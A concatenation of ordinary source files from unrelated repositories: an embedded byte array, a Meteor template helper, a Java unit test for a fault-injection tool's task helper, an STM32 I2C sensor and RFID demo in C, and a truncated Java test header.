0x5b, 0xc4, 0xaf, 0x0b, 0xa4, 0xd0, 0xf5, 0xcb, 0x8c, 0x65, 0x4c, 0xf5, 0x3d, 0x19, 0x0d, 0xe8, 0xda, 0xce, 0x18, 0xcb, 0x8a, 0xd4, 0x53, 0x59, 0xd2, 0xfe, 0xf0, 0x44, 0x5e, 0xa6, 0x5c, 0xe0, 0xb2, 0x3e, 0x00, 0xaf, 0x1e, 0xc5, 0xb6, 0x39, 0x17, 0x2c, 0x6b, 0x70, 0x39, 0xb4, 0xce, 0x7f, 0xce, 0xe0, 0xd9, 0xa5, 0x34, 0xf0, 0x6d, 0xd4, 0xff, 0xa2, 0xe4, 0x29, 0x5c, 0x0c, 0xbe, 0x72, 0x6a, 0x02, 0x07, 0xb8, 0x2b, 0x3f, 0xec, 0x3b, 0x7b, 0xae, 0xd0, 0x30, 0x78, 0xe8, 0xec, 0x0f, 0x59, 0x2e, 0xb6, 0x6d, 0x82, 0x08, 0x2b, 0xbd, 0xc9, 0x2a, 0x4d, 0x1e, 0x63, 0xaf, 0xbe, 0xca, 0x3c, 0x29, 0x4c, 0xb0, 0xc0, 0x05, 0xcb, 0x3c, 0x9a, 0x72, 0x52, 0x27, 0x28, 0x0c, 0xa2, 0xb9, 0x1a, 0x1d, 0x52, 0xe3, 0x02, 0x3e, 0x9f, 0xf6, 0x96, 0x4a, 0xcf, 0x1c, 0xe0, 0xce, 0xfc, 0x17, 0x7d, 0x67, 0x2f, 0x27, 0x3f, 0x61, 0x10, 0x2d, 0x27, 0x28, 0xa4, 0x86, 0x01, 0x67, 0x15, 0x2e, 0x53, 0xf3, 0xc8, 0x01, 0xae, 0x1e, 0xa9, 0xd8, 0xa8, 0x21, 0x24, 0xac, 0x68, 0xcb, 0x2a, 0xce, 0x29, 0x37, 0x67, 0xce, 0x91, 0xbb, 0xf2, 0xbf, 0xf6, 0x9d, 0xad, 0x6f, 0x54, 0x35, 0x0c, 0xf8, 0x43, 0x67, 0x7f, 0x7c, 0xaa, 0xe3, 0x71, 0x48, 0xa4, 0x0f, 0x22, 0x21, 0xe5, 0xc6, 0x06, 0x42, 0xd2, 0xa4, 0x58, 0xa4, 0x34, 0xc6, 0xc2, 0x3c, 0x76, 0x80, 0xbb, 0xbc, 0x58, 0xa3, 0xe1, 0x10, 0x68, 0x3c, 0x04, 0xba, 0x1c, 0x0f, 0xe1, 0x2f, 0x76, 0x9d, 0xad, 0xdd, 0xfe, 0xb2, 0x41, 0xa4, 0x1f, 0xde, 0x7d, 0x12, 0xc6, 0x6b, 0xa8, 0x37, 0xec, 0x26, 0x26, 0xac, 0xad, 0x84, 0x79, 0x22, 0x77, 0x8f, 0x16, 0x0d, 0xbb, 0xd9, 0xc8, 0xdc, 0x78, 0x0b, 0x4f, 0xa9, 0xdc, 0xb9, 0x22, 0xe2, 0x40, 0xcc, 0x15, 0xb1, 0x1a, 0xab, 0x03, 0xf6, 0x06, 0xc2, 0xaa, 0x2d, 0x8a, 0x03, 0xb2, 0x50, 0x88, 0x2e, 0x2b, 0x43, 0x3b, 0x84, 0xa7, 0xd3, 0xc9, 0x63, 0x8a, 0x05, 0x36, 0x75, 0xe5, 0xf5, 0x1c, 0xfd, 0xe7, 0x7f, 0xa1, 0xcf, 0x23, 0x1a, 0x60, 0x81, 0xa3, 0xd5, 0xf6, 0xdf, 0xd4, 0x7f, 0xb7, 0xfb, 0x63, 0x69, 0xbb, 0xde, 0x02, 0x77, 0xbd, 0x05, 0xee, 0x7b, 0x0b, 0xfc, 0xee, 0x2d, 0x70, 0xbb, 0xb7, 0xb4, 0xbb, 0xbd, 0xa5, 0xdd, 0xef, 0x2d, 0xed, 0xfb, 0xb1, 0x9a, 0x92, 0x9c, 0xa8, 0xfd, 0xdf, 0xff, 0x0d, 0x00, 0x00, 0xff, 0xff, 0x3a, 0x85, 0xd7, 0xc7, 0xe4, 0x02, 0x00, 0x00, }
cirope/autocdh
client/templates/samples/concretes/helpers.js
var helpers = { additive: function () { var additiveId = AutoForm.getFieldValue('additiveId') var additive = additiveId && Additives.findOne(additiveId) return additive } } Template._concreteNew.helpers(helpers) Template._concreteEdit.helpers(helpers)
vmaligireddy/mangle
mangle-services/src/test/java/com/vmware/mangle/unittest/services/helpers/TaskHelperTest.java
<reponame>vmaligireddy/mangle<gh_stars>100-1000 /* * Copyright (c) 2016-2019 VMware, Inc. All Rights Reserved. * * This product is licensed to you under the Apache License, Version 2.0 (the "License"). * You may not use this product except in compliance with the License. * * This product may include a number of subcomponents with separate copyright notices * and license terms. Your use of these subcomponents is subject to the terms and * conditions of the subcomponent's license, as noted in the LICENSE file. */ package com.vmware.mangle.unittest.services.helpers; import static org.mockito.Matchers.any; import static org.mockito.Matchers.anyString; import static org.mockito.Mockito.times; import static org.mockito.Mockito.verify; import static org.mockito.Mockito.when; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Map; import org.mockito.InjectMocks; import org.mockito.Mock; import org.mockito.MockitoAnnotations; import org.testng.Assert; import org.testng.annotations.BeforeClass; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; import com.vmware.mangle.cassandra.model.faults.specs.CommandExecutionFaultSpec; import com.vmware.mangle.cassandra.model.faults.specs.TaskSpec; import com.vmware.mangle.cassandra.model.resiliencyscore.ResiliencyScoreTask; import com.vmware.mangle.cassandra.model.tasks.Task; import com.vmware.mangle.cassandra.model.tasks.TaskFilter; import com.vmware.mangle.cassandra.model.tasks.TaskType; import com.vmware.mangle.model.response.DeleteOperationResponse; import com.vmware.mangle.services.TaskService; import com.vmware.mangle.services.deletionutils.TaskDeletionService; import com.vmware.mangle.services.helpers.TaskHelper; import com.vmware.mangle.services.mockdata.FaultsMockData; import com.vmware.mangle.services.mockdata.ResiliencyScoreMockData; import com.vmware.mangle.services.mockdata.TaskFilterMockData; import com.vmware.mangle.services.mockdata.TasksMockData; import com.vmware.mangle.services.resiliencyscore.ResiliencyScoreService; import com.vmware.mangle.utils.constants.Constants; import com.vmware.mangle.utils.constants.ErrorConstants; import com.vmware.mangle.utils.exceptions.MangleException; import com.vmware.mangle.utils.exceptions.MangleRuntimeException; import com.vmware.mangle.utils.exceptions.handler.ErrorCode; /** * @author dbhat */ public class TaskHelperTest { @Mock private ResiliencyScoreService resiliencyScoreService; @Mock private TaskService taskService; @Mock private TaskDeletionService taskDeletionService; @InjectMocks private TaskHelper taskHelper; private TasksMockData<TaskSpec> tasksMockData; @BeforeMethod public void init() { MockitoAnnotations.initMocks(this); } @BeforeClass public void initData() { this.tasksMockData = new TasksMockData<>(new CommandExecutionFaultSpec(), new CommandExecutionFaultSpec()); } @Test public void validateResiliencyScoreTask() throws MangleException { ResiliencyScoreTask resiliencyScoreTask = ResiliencyScoreMockData.getResiliencyScoreTask1(); resiliencyScoreTask.setTaskType(TaskType.RESILIENCY_SCORE); when(taskService.getTaskById(anyString())) .thenThrow(new MangleRuntimeException(ErrorCode.NO_RECORD_FOUND, ErrorConstants.TASK_ID, null)); when(resiliencyScoreService.getTaskById(anyString())).thenReturn(resiliencyScoreTask); TaskType taskType = taskHelper.getTaskType(ResiliencyScoreMockData.getRandomUUID()); verify(resiliencyScoreService, times(1)).getTaskById(anyString()); verify(taskService, times(1)).getTaskById(anyString()); Assert.assertEquals(taskType, TaskType.RESILIENCY_SCORE); } @Test public void validateFaultTask() throws MangleException { FaultsMockData faultsMockData = new FaultsMockData(); Task<TaskSpec> task = new Task<>(); task.setTaskType(TaskType.INJECTION); when(taskService.getTaskById(anyString())).thenReturn(task); TaskType taskType = taskHelper.getTaskType(ResiliencyScoreMockData.getRandomUUID()); verify(resiliencyScoreService, times(0)).getTaskById(anyString()); verify(taskService, times(1)).getTaskById(anyString()); Assert.assertEquals(taskType, TaskType.INJECTION); } @Test(description = "Validate Filter task based on Index when NO fault tasks are in the DB") public void validateTaskFilterDataWhenNoFaultTasksInDB() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); resiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask1()); List<Task<TaskSpec>> faultTasks = new ArrayList<>(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilter(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), resiliencyScoreTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate Filter task based on Index when NO ResiliencyScore tasks are in the DB") public void validateTaskFilterDataWhenNoResiliencyScoreTasksInDB() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); List<Task<TaskSpec>> faultTasks = tasksMockData.getDummy1Tasks(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilter(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), faultTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate Task Filter when only Fault Tasks are in DB") public void validateTaskFilterDataForFaultTasksOnly() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); List<Task<TaskSpec>> faultTasks = tasksMockData.getDummy1Tasks(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilterWithData(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), faultTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate Task Filter when Resiliency and Fault Tasks are in DB") public void validateTaskFilterDataForFaultAndResiliencyTasks() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); resiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask1()); List<Task<TaskSpec>> faultTasks = tasksMockData.getDummy1Tasks(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilterWithData(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), faultTasks.size() + resiliencyScoreTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate Task Filter when Resiliency and Fault Tasks are in DB") public void validateTaskFilterDataForResiliencyTasksOnly() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); resiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask1()); List<Task<TaskSpec>> faultTasks = new ArrayList<>(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilterWithData(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), resiliencyScoreTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate partial Task Filter when only Fault Tasks are in DB") public void validateTaskFilterDataWithPartialFieldsForFaultTasksOnly() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); List<Task<TaskSpec>> faultTasks = tasksMockData.getDummy1Tasks(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilterWithPartialFields(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), faultTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate partial Task Filter when only Resiliency Tasks are in DB") public void validateTaskFilterDataWithPartialFieldsForResiliencyTasksOnly() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); resiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask1()); List<Task<TaskSpec>> faultTasks = new ArrayList<>(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilterWithPartialFields(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), resiliencyScoreTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate partial Task Filter when only Fault Tasks are in DB") public void validateTaskFilterDataWithPartialFieldsForFaultAndResiliencyTasks() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); resiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask1()); List<Task<TaskSpec>> faultTasks = tasksMockData.getDummy1Tasks(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilterWithPartialFields(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), faultTasks.size() + resiliencyScoreTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate partial Task Filter when only Fault Tasks are in DB") public void validateTaskFilterDataWithPartialMatchForFaultAndResiliencyTasks() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); List<ResiliencyScoreTask> dummy1ResiliencyScoreTasks = new ArrayList<>(); List<ResiliencyScoreTask> dummy2ResiliencyScoreTasks = new ArrayList<>(); dummy1ResiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask1()); dummy2ResiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask2()); resiliencyScoreTasks.addAll(dummy2ResiliencyScoreTasks); resiliencyScoreTasks.addAll(dummy2ResiliencyScoreTasks); List<Task<TaskSpec>> faultTasks = new ArrayList<>(); List<Task<TaskSpec>> dummy1FaultTasks = tasksMockData.getDummy1Tasks(); List<Task<TaskSpec>> dummy2FaultTasks = tasksMockData.getDummy2Tasks(); faultTasks.addAll(dummy1FaultTasks); faultTasks.addAll(dummy2FaultTasks); TaskFilter taskFilter = TaskFilterMockData.getTaskFilter1WithPartialFields(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), dummy2FaultTasks.size()); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate Filter task based on Index when NO tasks are in the DB") public void validateTaskFilterDataWhenNoTasksInDB() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); List<Task<TaskSpec>> faultTasks = new ArrayList<>(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilter(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), 0); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validate Filter task based on Index when both ResiliencyScore tasks and Fault tasks are in the DB") public void validateTaskFilterDataWithAllTypesOfTasksInDB() { List<ResiliencyScoreTask> resiliencyScoreTasks = new ArrayList<>(); resiliencyScoreTasks.add(ResiliencyScoreMockData.getResiliencyScoreTask1()); List<Task<TaskSpec>> faultTasks = tasksMockData.getDummy1Tasks(); TaskFilter taskFilter = TaskFilterMockData.getTaskFilter(); int numberOfTasks = resiliencyScoreTasks.size() + faultTasks.size(); Map<String, Object> pageObject = taskHelper.getTaskBasedOnIndex(faultTasks, resiliencyScoreTasks, taskFilter); Assert.assertEquals(pageObject.get(Constants.TASK_SIZE), numberOfTasks); Assert.assertNotNull(pageObject.get(Constants.TASK_LIST)); } @Test(description = "Validating deleting of tasks having only resiliency score task IDs") public void deleteOnlyResiliencyScoreTasks() throws MangleException { List<ResiliencyScoreTask> tasks = Arrays.asList(ResiliencyScoreMockData.getResiliencyScoreTask1()); List<String> taskIds = Arrays.asList(tasks.get(0).getId()); DeleteOperationResponse deleteResponse = new DeleteOperationResponse(); when(resiliencyScoreService.deleteTasksByIds(taskIds)).thenReturn(deleteResponse); when(taskService.getTaskById(anyString())).thenThrow(MangleRuntimeException.class); when(resiliencyScoreService.getTaskById(anyString())).thenReturn(tasks.get(0)); deleteResponse = taskHelper.deleteTasks(taskIds); Assert.assertTrue(deleteResponse.getAssociations().isEmpty()); verify(resiliencyScoreService, times(1)).getTaskById(anyString()); verify(taskService, times(1)).getTaskById(anyString()); verify(resiliencyScoreService, times(1)).deleteTasksByIds(any()); verify(taskDeletionService, times(0)).deleteTasksByIds(any()); } @Test(description = "Validating deleting of tasks having only Fault tasks") public void deleteOnlyFaultTasks() throws MangleException { List<Task<TaskSpec>> tasks = tasksMockData.getDummy1Tasks(); List<String> taskIds = Arrays.asList(tasks.get(0).getId()); DeleteOperationResponse deleteResponse = new DeleteOperationResponse(); when(taskDeletionService.deleteTasksByIds(taskIds)).thenReturn(deleteResponse); when(taskService.getTaskById(anyString())).thenReturn(tasks.get(0)); deleteResponse = taskHelper.deleteTasks(taskIds); Assert.assertTrue(deleteResponse.getAssociations().isEmpty()); verify(resiliencyScoreService, times(0)).getTaskById(anyString()); verify(taskService, times(1)).getTaskById(anyString()); verify(resiliencyScoreService, times(0)).deleteTasksByIds(any()); verify(taskDeletionService, times(1)).deleteTasksByIds(any()); } @Test(description = "Validating deleting of scheduled fault tasks") public void deleteOfScheduledFaultTask() { try { taskHelper.deleteTasks(new ArrayList<>()); Assert.fail("Tasks list is empty and hence, expected exceptions to be received."); } catch (MangleException mangleException) { Assert.assertEquals(mangleException.getErrorCode(), ErrorCode.FIELD_VALUE_EMPTY); } } }
BlaatSchaapCode/MicroBlaat
demos/i2c/main.c
/* File: main.c Author: <NAME> License: MIT MIT License Copyright (c) 2017, 2018, 2019, 2020 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <stdbool.h> #include <string.h> #include "system.h" // NB. On STM32F0, stdfix conflicts with // STM32CubeF0/Drivers/CMSIS/Core/Include/cmsis_gcc.h // It should be included after STM32 includes stm32f0xx.h (included by system.h) #include <stdfix.h> // Might need to verify this also holds for latest CMSIS, and switch to upstream #include "bshal_spim.h" #include "bshal_delay.h" #include "bshal_i2cm.h" #include "i2c.h" #include "lm75b.h" #include "sht3x.h" #include "bh1750.h" #include "hcd1080.h" #include "si70xx.h" #include "ccs811.h" #include "pcf8563.h" #include "pcf8574.h" #include "bmp280.h" #include "rc52x_transport.h" #include "rc52x.h" bshal_i2cm_instance_t *gp_i2c = NULL; void HardFault_Handler(void) { while(1); } void SysTick_Handler(void) { HAL_IncTick(); } void SystemClock_Config(void) { #ifdef STM32F0 ClockSetup_HSE8_SYS48(); #endif #ifdef STM32F1 ClockSetup_HSE8_SYS72(); #endif #ifdef STM32F3 ClockSetup_HSE8_SYS72(); #endif #ifdef STM32F4 SystemClock_HSE25_SYS84(); #endif #ifdef STM32L0 SystemClock_HSE8_SYS32(); #endif #ifdef STM32L1 SystemClock_HSE8_SYS48(); #endif } void scan_i2c(void) { char line[32] = { 0 }; int row = 2; int column = 0; for (int i = 0x08; i < 0x78; i++) { int ready = bshal_i2cm_isok(gp_i2c, i); if (!ready) { sprintf(line + column, "%02X ", i); column += 3; if (column >= 24) { column = 0; print(line, row); row++; line[0] = 0; } } } print(line, row); } void rfid5_init(rc52x_t *rc52x) { rc52x->transport_type = bshal_transport_i2c; rc52x->transport_instance.i2cm = gp_i2c; rc52x->delay_ms = bshal_delay_ms; RC52X_Init(rc52x); } int main() { #ifdef SEMI initialise_monitor_handles(); printf("Hello world!\n"); #endif bmp280_test(); SystemClock_Config(); SystemCoreClockUpdate(); HAL_Init(); bshal_delay_init(); bshal_delay_us(10); gp_i2c = i2c_init(); display_init(); draw_background(); print(" I²C DEMO", 1); framebuffer_apply(); bshal_delay_ms(1000); pcf8563_t pcf8563 = { 0 }; bh1750_t bh1750 = { 0 }; ccs811_t ccs811 = { 0 }; // For these 3/6/9-dof motion sensors // They support multiple protocols, so we need defintions for that // I have already written such abstraction for RFID readers //adxl345 //mpu92 //lis3dsh bmp280_t bmp280 = { 0 }; sht3x_t sht3x = { 0 }; lm75b_t lm75b = { 0 }; si70xx_t si70xx = { 0 }; hcd1080_t hcd1080 = { 0 }; //i2c_eeprom if (0 == bshal_i2cm_isok(gp_i2c, BMP280_I2C_ADDR)) { bmp280.addr = BMP280_I2C_ADDR; bmp280.p_i2c = gp_i2c; bmp280_init(&bmp280); } if (0 == bshal_i2cm_isok(gp_i2c, PCF8563_I2C_ADDR)) { pcf8563.addr = PCF8563_I2C_ADDR; pcf8563.p_i2c = gp_i2c; } if (0 == bshal_i2cm_isok(gp_i2c, CCS811_I2C_ADDR1)) { ccs811.addr = CCS811_I2C_ADDR1; ccs811.p_i2c = gp_i2c; } if (0 == bshal_i2cm_isok(gp_i2c, LM75B_ADDR)) { lm75b.addr = LM75B_ADDR; lm75b.p_i2c = gp_i2c; } if (0 == bshal_i2cm_isok(gp_i2c, SHT3X_ADDR)) { sht3x.addr = SHT3X_ADDR; sht3x.p_i2c = gp_i2c; } if (0 == bshal_i2cm_isok(gp_i2c, BH1750_ADDR)) { bh1750.addr = BH1750_ADDR; bh1750.p_i2c = gp_i2c; } if (0 == bshal_i2cm_isok(gp_i2c, SI7021_ADDR)) { // either si7021 or hcd1080 bool identify; si70xx.addr = SI7021_ADDR; si70xx.p_i2c = gp_i2c; si70xx_identify(&si70xx, &identify); if (!identify) { si70xx.addr = 0; } hcd1080.addr = SI7021_ADDR; hcd1080.p_i2c = gp_i2c; hcd1080_identify(&hcd1080, &identify); if (!identify) { hcd1080.addr = 0; } } char str[32]; uint8_t rc52x_version; /// rc52x_t rc52x; rfid5_init(&rc52x); rc52x_version = 0; rc52x_get_chip_version(&rc52x, &rc52x_version); if (ccs811.addr) { ccs811_init(&ccs811); } int count = 0; char buff[64]; //int state ='*'; int state =2; while (1) { int line = 0; draw_plain_background(); char key_pressed = get_key(); switch (state) { case 3: if (pcf8563.addr) { pcf8563_time_t time = { 0 }; pcf8563_get_time(&pcf8563, &time); buff[0] = buff[1] = buff[2] = ' '; buff[3 + 0] = '2'; buff[3 + 1] = '0' + time.months.century; buff[3 + 2] = '0' + time.years.tens; buff[3 + 3] = '0' + time.years.unit; buff[3 + 4] = '-'; buff[3 + 5] = '0' + time.months.tens; buff[3 + 6] = '0' + time.months.unit; buff[3 + 7] = '-'; buff[3 + 8] = '0' + time.days.tens; buff[3 + 9] = '0' + time.days.unit; buff[3 + 10] = ' '; buff[3 + 11] = '0' + time.hours.tens; buff[3 + 12] = '0' + time.hours.unit; buff[3 + 13] = ':'; buff[3 + 14] = '0' + time.minutes.tens; buff[3 + 15] = '0' + time.minutes.unit; buff[3 + 16] = ':'; buff[3 + 17] = '0' + time.seconds.tens; buff[3 + 18] = '0' + time.seconds.unit; buff[3 + 19] = 0; print(buff, line); line++; } if (lm75b.addr) { accum temperature_a; lm75b_get_temperature_C_accum(&lm75b, &temperature_a); sprintf(buff, "LM75B: %3d.%02d°C ", (int) temperature_a, (int) (100 * temperature_a) % 100); print(buff, line); line++; } if (hcd1080.addr) { accum temperature_a = -99.99; accum huminity_a = -1; hcd1080_get_humidity_accum(&hcd1080, &huminity_a); hcd1080_get_temperature_C_accum(&hcd1080, &temperature_a); sprintf(buff, "HCD1080:%3d.%02d°C %3d.%02d%% ", (int) temperature_a % 999, abs((int) (100 * temperature_a)) % 100, (int) huminity_a, abs((int) (100 * huminity_a)) % 100); print(buff, line); line++; } if (si70xx.addr) { accum temperature_a; si70xx_get_temperature_C_accum(&si70xx, &temperature_a); accum huminity_a; si70xx_get_humidity_accum(&si70xx, &huminity_a); sprintf(buff, "SI70XX: %3d.%02d°C %3d.%02d%% ", (int) temperature_a %999, abs((int) (100 * temperature_a)) % 100, (int) huminity_a, abs((int) (100 * huminity_a)) % 100); print(buff, line); line++; } if (sht3x.addr) { accum temperature_a; accum huminity_a; sht3x_get_humidity_accum(&sht3x, &huminity_a); sht3x_get_temperature_C_accum(&sht3x, &temperature_a); sprintf(buff, "SHT3X: %3d.%02d°C %3d.%02d%% ", (int) temperature_a %999, abs((int) (100 * temperature_a)) % 100, (int) huminity_a, abs((int) (100 * huminity_a)) % 100); print(buff, line); line++; } if (bh1750.addr) { static int lux; // Reading it too fast stops it from updating // Therefore only reading it every 10 rounds static int swipswap; if (!(swipswap % 10)) bh1750_measure_ambient_light(&bh1750, &lux); swipswap++; sprintf(buff, "BH1750: %6d lux", lux); print(buff, line); line++; } if (ccs811.addr) { // static uint16_t TVOC = 0; // static uint16_t eCO2 = 0; // css811_measure(&ccs811, &eCO2, &TVOC); // sprintf(buff, "CCS811: TVOC %4d eCO2 %4d", TVOC, eCO2); static uint16_t TVOC = 0; css811_measure(&ccs811, NULL, &TVOC); sprintf(buff, "CCS811: %4d ppb TVOC", TVOC); print(buff, line); line++; } if (bmp280.addr) { accum temperature_a; long accum pressure_la; bmp280_measure_a(&bmp280, &temperature_a, &pressure_la); sprintf(buff, "BMP280: %3d.%02d°C %d hPa ", (int) temperature_a % 999, abs((int) (100 * temperature_a)) % 100, (int) pressure_la / 100); print(buff, line); line++; } if (rc52x_version) { // When either SHT3x or HCD1080 are being read, // The mfrc522 stops reading cards // This will need more investigation { picc_t picc = { 0 }; rc52x_result_t status = 0; status = PICC_RequestA(&rc52x, &picc); if (status) { status = PICC_RequestA(&rc52x, &picc); } if (!status) { sprintf(str, "ATQA %04X", picc.atqa.as_uint16); //print(str, 0); status = PICC_Select(&rc52x, &picc, 0); } if (!status) { sprintf(str, "UID "); for (int i = 0; i < picc.size; i++) sprintf(str + strlen(str), "%02X", picc.uidByte[i]); print(str, line); //sprintf(str, "SAK %02X", picc.sak.as_uint8); //print(str, 1); } else { print("No Card found", line); } line++; } } break; case '*': print("MENU", line++); print("1: SET TIME", line++); print("2: SCAN BUS", line++); print("3: SENSOR DATA", line++); switch (key_pressed) { case '1': count = 0; state = 1; break; case '2': state = 2; break; case '3': state = 3; break; } break; case 1: print("1: SET TIME", line++); static char datetimestring[20]; int cpos; cpos = count + 2; if (count > 1) cpos++; if (count > 3) cpos++; if (count > 5) cpos++; if (count > 7) cpos++; if (count > 9) cpos++; for (int i = 0 ; i < 20 ; i++) buff[i] = cpos == i ? '^' : ' '; buff[20] = 0; if (!count) strcpy(datetimestring, "20yy-mm-dd HH:MM:SS"); if (key_pressed) { // We've got the millenium bug here. // Don't blaim me, it's a hardware problem. // The DS1307 only supports a 2 digit year // However, the PCF8563 got a century bit. // This needs some investigation what its influence is\ // on the leap year. 2000 was a leap year, 2100 will not be. // So... unless the century bit toggles this, for which I // have not (yet) found any clues in the datasheet, we // can only support this century out of the box. if (key_pressed == 'D') { count--; } switch (count) { case 0: if (key_pressed >= '0' && key_pressed <= '9') { datetimestring[cpos] = key_pressed; count++; } break; case 1: if (key_pressed >= '0' && key_pressed <= '9') { datetimestring[cpos] = key_pressed; count++; } break; case 2: if (key_pressed >= '0' && key_pressed <= '1') { datetimestring[cpos] = key_pressed; count++; } break; case 3: if ((datetimestring[5] == '1' && key_pressed >= '0' && key_pressed <= '2') || (datetimestring[5] == '0' && key_pressed >= '1' && key_pressed <= '9')) { datetimestring[cpos] = key_pressed; count++; } break; case 4: if ((key_pressed != '3' || ! (datetimestring[5] == '0' && datetimestring[6] == '2') ) && (key_pressed >= '0' && key_pressed <= '3')) { datetimestring[cpos] = key_pressed; count++; } break; case 5: // TODO got to check the number of days in the month if (key_pressed >= '0' && key_pressed <= '9') { { datetimestring[cpos] = key_pressed; count++; } break; } break; } } print(datetimestring, 3); print(buff, 4); break; case 2: print("I²C BUS SCAN",0); scan_i2c(); break; } sprintf(buff, "Keypad: "); buff[8] = key_pressed; switch (key_pressed) { case '*': state = '*'; break; } print(buff, 8); line++; framebuffer_apply(); if (key_pressed) while (read_keypad()) __NOP(); } }
Su-Yeo/Capstone
HomeStay/src/test/java/com/homestay/korea/DataScheduling/InsertRoutineTest.java
package com.homestay.korea.DataScheduling; import java.io.IOException; import java.util.Calendar; import java.util.HashMap; import java.util.List; import java.util.Map; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.test.context.ContextConfiguration; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import com.homestay.korea.DAO.IPlaceDAO; import com.homestay.korea.DAO.IPlaceDetailDataDAO; import com.homestay.korea.DAO.ITourImageDAO; import com.homestay.korea.common.ServiceKey; import com.homestay.korea.config.RootConfig; import com.homestay.korea.service.IPlaceReadService; import com.homestay.korea.service.TempContentidService; import com.homestay.korea.service.TourDataSchedulingService; import com.homestay.korea.util.Api; import com.homestay.korea.util.AreaBasedData; import com.homestay.korea.util.CalendarUtil; import com.homestay.korea.util.CommonDetailData; import com.homestay.korea.util.DetailData; import com.homestay.korea.util.TourImageData; import com.homestay.korea.util.XmlString; //데이터 스케쥴링 중 새로운 관광지 